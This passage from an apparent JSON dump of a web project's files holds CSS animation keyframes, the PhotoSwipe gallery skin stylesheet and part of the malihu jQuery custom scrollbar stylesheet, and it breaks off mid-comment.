100% {\n    opacity: 0;\n    -webkit-transform: scale(.1) translate3d(-2000px, 0, 0);\n    transform: scale(.1) translate3d(-2000px, 0, 0);\n    -webkit-transform-origin: left center;\n    transform-origin: left center;\n  }\n}\n\n@keyframes zoomOutLeft {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(.1) translate3d(-2000px, 0, 0);\n    transform: scale(.1) translate3d(-2000px, 0, 0);\n    -webkit-transform-origin: left center;\n    transform-origin: left center;\n  }\n}\n\n.zoomOutLeft {\n  -webkit-animation-name: zoomOutLeft;\n  animation-name: zoomOutLeft;\n}\n\n@-webkit-keyframes zoomOutRight {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(.1) translate3d(2000px, 0, 0);\n    transform: scale(.1) translate3d(2000px, 0, 0);\n    -webkit-transform-origin: right center;\n    transform-origin: right center;\n  }\n}\n\n@keyframes zoomOutRight {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);\n    transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale(.1) translate3d(2000px, 0, 0);\n    transform: scale(.1) translate3d(2000px, 0, 0);\n    -webkit-transform-origin: right center;\n    transform-origin: right center;\n  }\n}\n\n.zoomOutRight {\n  -webkit-animation-name: zoomOutRight;\n  animation-name: zoomOutRight;\n}\n\n@-webkit-keyframes zoomOutUp {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);\n    -webkit-transform-origin: center bottom;\n    transform-origin: center bottom;\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n@keyframes zoomOutUp {\n  40% {\n    opacity: 1;\n    -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);\n    transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);\n    -webkit-transform-origin: center bottom;\n    transform-origin: center bottom;\n    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomOutUp {\n  -webkit-animation-name: zoomOutUp;\n  animation-name: zoomOutUp;\n}\n\n@-webkit-keyframes slideInDown {\n  from {\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes slideInDown {\n  from {\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInDown {\n  -webkit-animation-name: slideInDown;\n  animation-name: slideInDown;\n}\n\n@-webkit-keyframes slideInLeft {\n  from {\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes slideInLeft {\n  from {\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInLeft {\n  -webkit-animation-name: slideInLeft;\n  animation-name: slideInLeft;\n}\n\n@-webkit-keyframes slideInRight {\n  from {\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes slideInRight {\n  from {\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInRight {\n  -webkit-animation-name: slideInRight;\n  animation-name: slideInRight;\n}\n\n@-webkit-keyframes slideInUp {\n  from {\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n@keyframes slideInUp {\n  from {\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n    visibility: visible;\n  }\n\n  100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInUp {\n  -webkit-animation-name: slideInUp;\n  animation-name: slideInUp;\n}\n\n@-webkit-keyframes slideOutDown {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n@keyframes slideOutDown {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(0, 100%, 0);\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n.slideOutDown {\n  -webkit-animation-name: slideOutDown;\n  animation-name: slideOutDown;\n}\n\n@-webkit-keyframes slideOutLeft {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n@keyframes slideOutLeft {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(-100%, 0, 0);\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.slideOutLeft {\n  -webkit-animation-name: slideOutLeft;\n  animation-name: slideOutLeft;\n}\n\n@-webkit-keyframes slideOutRight {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n@keyframes slideOutRight {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.slideOutRight {\n  -webkit-animation-name: slideOutRight;\n  animation-name: slideOutRight;\n}\n\n@-webkit-keyframes slideOutUp {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n@keyframes slideOutUp {\n  from {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  100% {\n    visibility: hidden;\n    -webkit-transform: translate3d(0, -100%, 0);\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n.slideOutUp {\n  -webkit-animation-name: slideOutUp;\n  animation-name: slideOutUp;\n}"
  },
  {
    "path": "mov/css/default-skin/default-skin.css",
    "content": "/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */\n\n\n/*\n\n\tContents:\n\n\t1. Buttons\n\t2. Share modal and links\n\t3. Index indicator (\"1 of X\" counter)\n\t4. Caption\n\t5. Loading indicator\n\t6. Additional styles (root element, top bar, idle state, hidden state, etc.)\n\n*/\n\n\n/*\n\t\n\t1. Buttons\n\n */\n\n\n/* <button> css reset */\n\n.pswp__button {\n    width: 44px;\n    height: 44px;\n    position: relative;\n    background: none;\n    cursor: pointer;\n    overflow: visible;\n    -webkit-appearance: none;\n    display: block;\n    border: 0;\n    padding: 0;\n    margin: 0;\n    float: right;\n    opacity: 0.75;\n    -webkit-transition: opacity 0.2s;\n    transition: opacity 0.2s;\n    -webkit-box-shadow: none;\n    box-shadow: none;\n}\n\n.pswp__button:focus,\n.pswp__button:hover {\n    opacity: 1;\n}\n\n.pswp__button:active {\n    outline: none;\n    opacity: 0.9;\n}\n\n.pswp__button::-moz-focus-inner {\n    padding: 0;\n    border: 0;\n}\n\n\n/* pswp__ui--over-close class it added when mouse is over element that should close gallery */\n\n.pswp__ui--over-close .pswp__button--close {\n    opacity: 1;\n}\n\n.pswp__button,\n.pswp__button--arrow--left:before,\n.pswp__button--arrow--right:before {\n    background: url(default-skin.png) 0 0 no-repeat;\n    background-size: 264px 88px;\n    width: 44px;\n    height: 44px;\n}\n\n@media (-webkit-min-device-pixel-ratio: 1.1),\n(-webkit-min-device-pixel-ratio: 1.09375),\n(min-resolution: 105dpi),\n(min-resolution: 1.1dppx) {\n    /* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */\n    .pswp--svg .pswp__button,\n    .pswp--svg .pswp__button--arrow--left:before,\n    .pswp--svg .pswp__button--arrow--right:before {\n        background-image: url(default-skin.svg);\n    }\n    .pswp--svg .pswp__button--arrow--left,\n    .pswp--svg .pswp__button--arrow--right {\n        background: none;\n    }\n}\n\n.pswp__button--close {\n    background-position: 0 -44px;\n}\n\n.pswp__button--share {\n    background-position: -44px -44px;\n}\n\n.pswp__button--fs {\n    display: none;\n}\n\n.pswp--supports-fs .pswp__button--fs {\n    display: block;\n}\n\n.pswp--fs .pswp__button--fs {\n    background-position: -44px 0;\n}\n\n.pswp__button--zoom {\n    display: none;\n    background-position: -88px 0;\n}\n\n.pswp--zoom-allowed .pswp__button--zoom {\n    display: block;\n}\n\n.pswp--zoomed-in .pswp__button--zoom {\n    background-position: -132px 0;\n}\n\n\n/* no arrows on touch screens */\n\n.pswp--touch .pswp__button--arrow--left,\n.pswp--touch .pswp__button--arrow--right {\n    visibility: hidden;\n}\n\n\n/*\n\tArrow buttons hit area\n\t(icon is added to :before pseudo-element)\n*/\n\n.pswp__button--arrow--left,\n.pswp__button--arrow--right {\n    background: none;\n    top: 50%;\n    margin-top: -50px;\n    width: 70px;\n    height: 100px;\n    position: absolute;\n}\n\n.pswp__button--arrow--left {\n    left: 0;\n}\n\n.pswp__button--arrow--right {\n    right: 0;\n}\n\n.pswp__button--arrow--left:before,\n.pswp__button--arrow--right:before {\n    content: '';\n    top: 35px;\n    background-color: rgba(0, 0, 0, 0.3);\n    height: 30px;\n    width: 32px;\n    position: absolute;\n}\n\n.pswp__button--arrow--left:before {\n    left: 6px;\n    background-position: -138px -44px;\n}\n\n.pswp__button--arrow--right:before {\n    right: 6px;\n    background-position: -94px -44px;\n}\n\n\n/*\n\n\t2. Share modal/popup and links\n\n */\n\n.pswp__counter,\n.pswp__share-modal {\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n}\n\n.pswp__share-modal {\n    display: block;\n    background: rgba(0, 0, 0, 0.5);\n    width: 100%;\n    height: 100%;\n    top: 0;\n    left: 0;\n    padding: 10px;\n    position: absolute;\n    z-index: 1600;\n    opacity: 0;\n    -webkit-transition: opacity 0.25s ease-out;\n    transition: opacity 0.25s ease-out;\n    -webkit-backface-visibility: hidden;\n    will-change: opacity;\n}\n\n.pswp__share-modal--hidden {\n    display: none;\n}\n\n.pswp__share-tooltip {\n    z-index: 1620;\n    position: absolute;\n    background: #FFF;\n    top: 56px;\n    border-radius: 2px;\n    display: block;\n    width: auto;\n    right: 44px;\n    -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);\n    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);\n    -webkit-transform: translateY(6px);\n    -ms-transform: translateY(6px);\n    transform: translateY(6px);\n    -webkit-transition: -webkit-transform 0.25s;\n    transition: transform 0.25s;\n    -webkit-backface-visibility: hidden;\n    will-change: transform;\n}\n\n.pswp__share-tooltip a {\n    display: block;\n    padding: 8px 12px;\n    color: #000;\n    text-decoration: none;\n    font-size: 14px;\n    line-height: 18px;\n}\n\n.pswp__share-tooltip a:hover {\n    text-decoration: none;\n    color: #000;\n}\n\n.pswp__share-tooltip a:first-child {\n    /* round corners on the first/last list item */\n    border-radius: 2px 2px 0 0;\n}\n\n.pswp__share-tooltip a:last-child {\n    border-radius: 0 0 2px 2px;\n}\n\n.pswp__share-modal--fade-in {\n    opacity: 1;\n}\n\n.pswp__share-modal--fade-in .pswp__share-tooltip {\n    -webkit-transform: translateY(0);\n    -ms-transform: translateY(0);\n    transform: translateY(0);\n}\n\n\n/* increase size of share links on touch devices */\n\n.pswp--touch .pswp__share-tooltip a {\n    padding: 16px 12px;\n}\n\na.pswp__share--facebook:before {\n    content: '';\n    display: block;\n    width: 0;\n    height: 0;\n    position: absolute;\n    top: -12px;\n    right: 15px;\n    border: 6px solid transparent;\n    border-bottom-color: #FFF;\n    -webkit-pointer-events: none;\n    -moz-pointer-events: none;\n    pointer-events: none;\n}\n\na.pswp__share--facebook:hover {\n    background: #3E5C9A;\n    color: #FFF;\n}\n\na.pswp__share--facebook:hover:before {\n    border-bottom-color: #3E5C9A;\n}\n\na.pswp__share--twitter:hover {\n    background: #55ACEE;\n    color: #FFF;\n}\n\na.pswp__share--pinterest:hover {\n    background: #CCC;\n    color: #CE272D;\n}\n\na.pswp__share--download:hover {\n    background: #DDD;\n}\n\n\n/*\n\n\t3. Index indicator (\"1 of X\" counter)\n\n */\n\n.pswp__counter {\n    position: absolute;\n    left: 0;\n    top: 0;\n    height: 44px;\n    font-size: 13px;\n    line-height: 44px;\n    color: #FFF;\n    opacity: 0.75;\n    padding: 0 10px;\n}\n\n\n/*\n\t\n\t4. Caption\n\n */\n\n.pswp__caption {\n    position: absolute;\n    left: 0;\n    bottom: 0;\n    width: 100%;\n    min-height: 44px;\n}\n\n.pswp__caption small {\n    font-size: 11px;\n    color: #BBB;\n}\n\n.pswp__caption__center {\n    text-align: left;\n    max-width: 420px;\n    margin: 0 auto;\n    font-size: 13px;\n    padding: 10px;\n    line-height: 20px;\n    color: #CCC;\n}\n\n.pswp__caption--empty {\n    display: none;\n}\n\n\n/* Fake caption element, used to calculate height of next/prev image */\n\n.pswp__caption--fake {\n    visibility: hidden;\n}\n\n\n/*\n\n\t5. Loading indicator (preloader)\n\n\tYou can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR\n\n */\n\n.pswp__preloader {\n    width: 44px;\n    height: 44px;\n    position: absolute;\n    top: 0;\n    left: 50%;\n    margin-left: -22px;\n    opacity: 0;\n    -webkit-transition: opacity 0.25s ease-out;\n    transition: opacity 0.25s ease-out;\n    will-change: opacity;\n    direction: ltr;\n}\n\n.pswp__preloader__icn {\n    width: 20px;\n    height: 20px;\n    margin: 12px;\n}\n\n.pswp__preloader--active {\n    opacity: 1;\n}\n\n.pswp__preloader--active .pswp__preloader__icn {\n    /* We use .gif in browsers that don't support CSS animation */\n    background: url(preloader.gif) 0 0 no-repeat;\n}\n\n.pswp--css_animation .pswp__preloader--active {\n    opacity: 1;\n}\n\n.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {\n    -webkit-animation: clockwise 500ms linear infinite;\n    animation: clockwise 500ms linear infinite;\n}\n\n.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {\n    -webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;\n    animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;\n}\n\n.pswp--css_animation .pswp__preloader__icn {\n    background: none;\n    opacity: 0.75;\n    width: 14px;\n    height: 14px;\n    position: absolute;\n    left: 15px;\n    top: 15px;\n    margin: 0;\n}\n\n.pswp--css_animation .pswp__preloader__cut {\n    /* \n\t\t\tThe idea of animating inner circle is based on Polymer (\"material\") loading indicator \n\t\t\t by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html\n\t\t*/\n    position: relative;\n    width: 7px;\n    height: 14px;\n    overflow: hidden;\n}\n\n.pswp--css_animation .pswp__preloader__donut {\n    -webkit-box-sizing: border-box;\n    box-sizing: border-box;\n    width: 14px;\n    height: 14px;\n    border: 2px solid #FFF;\n    border-radius: 50%;\n    border-left-color: transparent;\n    border-bottom-color: transparent;\n    position: absolute;\n    top: 0;\n    left: 0;\n    background: none;\n    margin: 0;\n}\n\n@media screen and (max-width: 1024px) {\n    .pswp__preloader {\n        position: relative;\n        left: auto;\n        top: auto;\n        margin: 0;\n        float: right;\n    }\n}\n\n@-webkit-keyframes clockwise {\n    0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n@keyframes clockwise {\n    0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n@-webkit-keyframes donut-rotate {\n    0% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n    50% {\n        -webkit-transform: rotate(-140deg);\n        transform: rotate(-140deg);\n    }\n    100% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n}\n\n@keyframes donut-rotate {\n    0% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n    50% {\n        -webkit-transform: rotate(-140deg);\n        transform: rotate(-140deg);\n    }\n    100% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n}\n\n\n/*\n\t\n\t6. Additional styles\n\n */\n\n\n/* root element of UI */\n\n.pswp__ui {\n    -webkit-font-smoothing: auto;\n    visibility: visible;\n    opacity: 1;\n    z-index: 1550;\n}\n\n\n/* top black bar with buttons and \"1 of X\" indicator */\n\n.pswp__top-bar {\n    position: absolute;\n    left: 0;\n    top: 0;\n    height: 44px;\n    width: 100%;\n}\n\n.pswp__caption,\n.pswp__top-bar,\n.pswp--has_mouse .pswp__button--arrow--left,\n.pswp--has_mouse .pswp__button--arrow--right {\n    -webkit-backface-visibility: hidden;\n    will-change: opacity;\n    -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);\n    transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);\n}\n\n\n/* pswp--has_mouse class is added only when two subsequent mousemove events occur */\n\n.pswp--has_mouse .pswp__button--arrow--left,\n.pswp--has_mouse .pswp__button--arrow--right {\n    visibility: visible;\n}\n\n.pswp__top-bar,\n.pswp__caption {\n    background-color: rgba(0, 0, 0, 0.5);\n}\n\n\n/* pswp__ui--fit class is added when main image \"fits\" between top bar and bottom bar (caption) */\n\n.pswp__ui--fit .pswp__top-bar,\n.pswp__ui--fit .pswp__caption {\n    background-color: rgba(0, 0, 0, 0.3);\n}\n\n\n/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */\n\n.pswp__ui--idle .pswp__top-bar {\n    opacity: 0;\n}\n\n.pswp__ui--idle .pswp__button--arrow--left,\n.pswp__ui--idle .pswp__button--arrow--right {\n    opacity: 0;\n}\n\n\n/*\n\tpswp__ui--hidden class is added when controls are hidden\n\te.g. when user taps to toggle visibility of controls\n*/\n\n.pswp__ui--hidden .pswp__top-bar,\n.pswp__ui--hidden .pswp__caption,\n.pswp__ui--hidden .pswp__button--arrow--left,\n.pswp__ui--hidden .pswp__button--arrow--right {\n    /* Force paint & create composition layer for controls. */\n    opacity: 0.001;\n}\n\n\n/* pswp__ui--one-slide class is added when there is just one item in gallery */\n\n.pswp__ui--one-slide .pswp__button--arrow--left,\n.pswp__ui--one-slide .pswp__button--arrow--right,\n.pswp__ui--one-slide .pswp__counter {\n    display: none;\n}\n\n.pswp__element--disabled {\n    display: none !important;\n}\n\n.pswp--minimal--dark .pswp__top-bar {\n    background: none;\n}"
  },
  {
    "path": "mov/css/jquery.mCustomScrollbar.css",
    "content": "/*\n== malihu jquery custom scrollbar plugin ==\nPlugin URI: http://manos.malihu.gr/jquery-custom-content-scroller\n*/\n\n\n/*\nCONTENTS: \n\t1. BASIC STYLE - Plugin's basic/essential CSS properties (normally, should not be edited). \n\t2. VERTICAL SCROLLBAR - Positioning and dimensions of vertical scrollbar. \n\t3. HORIZONTAL SCROLLBAR - Positioning and dimensions of horizontal scrollbar.\n\t4. VERTICAL AND HORIZONTAL SCROLLBARS - Positioning and dimensions of 2-axis scrollbars. \n\t5. TRANSITIONS - CSS3 transitions for hover events, auto-expanded and auto-hidden scrollbars. \n\t6. SCROLLBAR COLORS, OPACITY AND BACKGROUNDS \n\t\t6.1 THEMES - Scrollbar colors, opacity, dimensions, backgrounds etc. via ready-to-use themes.\n*/\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n1. BASIC STYLE  \n------------------------------------------------------------------------------------------------------------------------\n*/\n\n.mCustomScrollbar {\n    -ms-touch-action: none;\n    touch-action: none;\n    /* MSPointer events - direct all pointer events to js */\n}\n\n.mCustomScrollbar.mCS_no_scrollbar,\n.mCustomScrollbar.mCS_touch_action {\n    -ms-touch-action: auto;\n    touch-action: auto;\n}\n\n.mCustomScrollBox {\n    /* contains plugin's markup */\n    position: relative;\n    overflow: hidden;\n    height: 100%;\n    max-width: 100%;\n    outline: none;\n    direction: ltr;\n}\n\n.mCSB_container {\n    /* contains the original content */\n    overflow: hidden;\n    width: auto;\n    height: auto;\n}\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n2. VERTICAL SCROLLBAR \ny-axis\n------------------------------------------------------------------------------------------------------------------------\n*/\n\n.mCSB_inside>.mCSB_container {\n    /*margin-right: 30px;*/\n}\n\n.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden {\n    margin-right: 0;\n}\n\n\n/* non-visible scrollbar */\n\n.mCS-dir-rtl>.mCSB_inside>.mCSB_container {\n    /* RTL direction/left-side scrollbar */\n    margin-right: 0;\n    /*margin-left: 30px;*/\n}\n\n.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden {\n    margin-left: 0;\n}\n\n\n/* RTL direction/left-side scrollbar */\n\n.mCSB_outside+.mCSB_scrollTools {\n    right: -26px;\n}\n\n\n/* scrollbar position: outside */\n\n.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,\n.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools {\n    /* RTL direction/left-side scrollbar */\n    right: auto;\n    left: 0;\n}\n\n.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools {\n    left: -26px;\n}\n\n\n/* RTL direction/left-side scrollbar (scrollbar position: outside) */\n\n.mCSB_scrollTools .mCSB_draggerContainer {\n    /* contains the draggable element and dragger rail markup */\n    position: absolute;\n    top: 0;\n    left: 0;\n    bottom: 0;\n    right: 0;\n    height: auto;\n}\n\n.mCSB_scrollTools a+.mCSB_draggerContainer {\n    margin: 20px 0;\n}\n\n.mCSB_scrollTools .mCSB_dragger {\n    /* the draggable element */\n    cursor: pointer;\n    width: 100%;\n    height: 30px;\n    /* minimum dragger height */\n    z-index: 1;\n}\n\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar {\n    width: 12px;\n    /* auto-expanded scrollbar */\n}\n\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    width: 8px;\n    /* auto-expanded scrollbar */\n}\n\n.mCSB_scrollTools .mCSB_buttonUp,\n.mCSB_scrollTools .mCSB_buttonDown {\n    display: block;\n    position: absolute;\n    height: 20px;\n    width: 100%;\n    overflow: hidden;\n    margin: 0 auto;\n    cursor: pointer;\n}\n\n.mCSB_scrollTools .mCSB_buttonDown {\n    bottom: 0;\n}\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n3. HORIZONTAL SCROLLBAR \nx-axis\n------------------------------------------------------------------------------------------------------------------------\n*/\n\n.mCSB_horizontal.mCSB_inside>.mCSB_container {\n    margin-right: 0;\n    margin-bottom: 30px;\n}\n\n.mCSB_horizontal.mCSB_outside>.mCSB_container {\n    min-height: 100%;\n}\n\n.mCSB_horizontal>.mCSB_container.mCS_no_scrollbar_x.mCS_x_hidden {\n    margin-bottom: 0;\n}\n\n\n/* non-visible scrollbar */\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    width: auto;\n    height: 16px;\n    top: auto;\n    right: 0;\n    bottom: 0;\n    left: 0;\n}\n\n.mCustomScrollBox+.mCSB_scrollTools.mCSB_scrollTools_horizontal,\n.mCustomScrollBox+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    bottom: -26px;\n}\n\n\n/* scrollbar position: outside */\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal a+.mCSB_draggerContainer {\n    margin: 0 20px;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n    height: 2px;\n    margin: 7px 0;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger {\n    width: 30px;\n    /* minimum dragger width */\n    height: 100%;\n    left: 0;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    width: 100%;\n    height: 4px;\n    margin: 6px auto;\n}\n\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar {\n    height: 12px;\n    /* auto-expanded scrollbar */\n    margin: 2px auto;\n}\n\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    height: 8px;\n    /* auto-expanded scrollbar */\n    margin: 4px 0;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft,\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight {\n    display: block;\n    position: absolute;\n    width: 20px;\n    height: 100%;\n    overflow: hidden;\n    margin: 0 auto;\n    cursor: pointer;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft {\n    left: 0;\n}\n\n.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight {\n    right: 0;\n}\n\n\n/* \n------------------------------------------------------------------------------------------------------------------------\n4. VERTICAL AND HORIZONTAL SCROLLBARS \nyx-axis \n------------------------------------------------------------------------------------------------------------------------\n*/\n\n.mCSB_container_wrapper {\n    position: absolute;\n    height: auto;\n    width: auto;\n    overflow: hidden;\n    top: 0;\n    left: 0;\n    right: 0;\n    bottom: 0;\n    margin-right: 30px;\n    margin-bottom: 30px;\n}\n\n.mCSB_container_wrapper>.mCSB_container {\n    padding-right: 30px;\n    padding-bottom: 30px;\n}\n\n.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_vertical {\n    bottom: 20px;\n}\n\n.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    right: 20px;\n}\n\n\n/* non-visible horizontal scrollbar */\n\n.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden+.mCSB_scrollTools.mCSB_scrollTools_vertical {\n    bottom: 0;\n}\n\n\n/* non-visible vertical scrollbar/RTL direction/left-side scrollbar 